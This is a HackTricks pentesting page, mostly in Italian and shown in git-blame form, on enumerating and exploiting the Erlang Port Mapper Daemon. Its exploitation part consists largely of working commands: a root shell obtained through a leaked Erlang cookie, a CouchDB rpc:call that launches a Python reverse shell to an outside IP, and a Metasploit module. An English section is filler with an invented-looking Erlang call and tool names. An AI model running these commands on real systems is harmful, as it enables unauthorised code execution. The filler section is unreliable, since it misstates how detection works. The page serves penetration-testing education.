hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

130 lines
6.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
# Informazioni di base
2024-02-10 13:03:23 +00:00
Il **Erlang Port Mapper Daemon (epmd)** funge da coordinatore per le istanze distribuite di Erlang. È responsabile del mapping dei nomi simbolici dei nodi agli indirizzi delle macchine, garantendo essenzialmente che ogni nome del nodo sia associato a un indirizzo specifico. Questo ruolo di **epmd** è cruciale per l'interazione e la comunicazione senza soluzione di continuità tra diversi nodi Erlang in una rete.
2024-02-10 13:03:23 +00:00
**Porta predefinita**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2024-02-10 13:03:23 +00:00
Questo viene utilizzato di default nelle installazioni di RabbitMQ e CouchDB.
2024-02-10 13:03:23 +00:00
# Enumerazione
2024-02-10 13:03:23 +00:00
## Manuale
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
2024-02-10 13:03:23 +00:00
## Automatico
The Erlang Port Mapper Daemon (EPMD) is a service that runs on the default port 4369 in Erlang-based systems. It is responsible for managing the distribution of Erlang nodes and facilitating communication between them.
During a penetration test, it is important to identify if EPMD is running on the target system. This can be done automatically using various tools and techniques.
One approach is to use the `nmap` tool with the `epmd` script. This script sends a request to the target system's port 4369 and checks if EPMD is running. The command to run this script is as follows:
```
nmap -p 4369 --script epmd <target_ip>
```
Another option is to use the `erl_scan` module in Erlang to check if EPMD is running on a specific IP address. This can be done by executing the following command:
```
erl_scan:port_please({<target_ip>, 4369}).
```
2024-02-10 13:03:23 +00:00
Additionally, there are also tools like `epmd_discover` and `epmd_scan` that can be used to automatically discover and scan for EPMD services on a network.
2024-02-10 13:03:23 +00:00
By automating the process of identifying EPMD services, penetration testers can efficiently gather information about the target system and proceed with further analysis and exploitation.
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2024-02-10 13:03:23 +00:00
| epmd-info:
| epmd_port: 4369
2024-02-10 13:03:23 +00:00
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2022-05-01 12:49:36 +00:00
# Erlang Cookie RCE
2024-02-10 13:03:23 +00:00
## Connessione Remota
2024-02-10 13:03:23 +00:00
Se riesci a **ottenere la cookie di autenticazione**, sarai in grado di eseguire codice sull'host. Di solito, questa cookie si trova in `~/.erlang.cookie` ed è generata da Erlang al primo avvio. Se non viene modificata o impostata manualmente, è una stringa casuale \[A:Z] con una lunghezza di 20 caratteri.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2024-02-10 13:03:23 +00:00
Maggiori informazioni su [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
L'autore condivide anche un programma per forzare la cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2024-02-10 13:03:23 +00:00
## Connessione Locale
2020-07-16 18:26:18 +00:00
2024-02-10 13:03:23 +00:00
In questo caso sfrutteremo CouchDB per ottenere privilegi locali:
2020-07-16 18:26:18 +00:00
```bash
2024-02-10 13:03:23 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2024-02-10 13:03:23 +00:00
Esempio tratto da [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Puoi utilizzare la macchina **Canape HTB** per **praticare** come **sfruttare questa vulnerabilità**.
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
2024-02-10 13:03:23 +00:00
* `port:4369 "alla porta"`
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>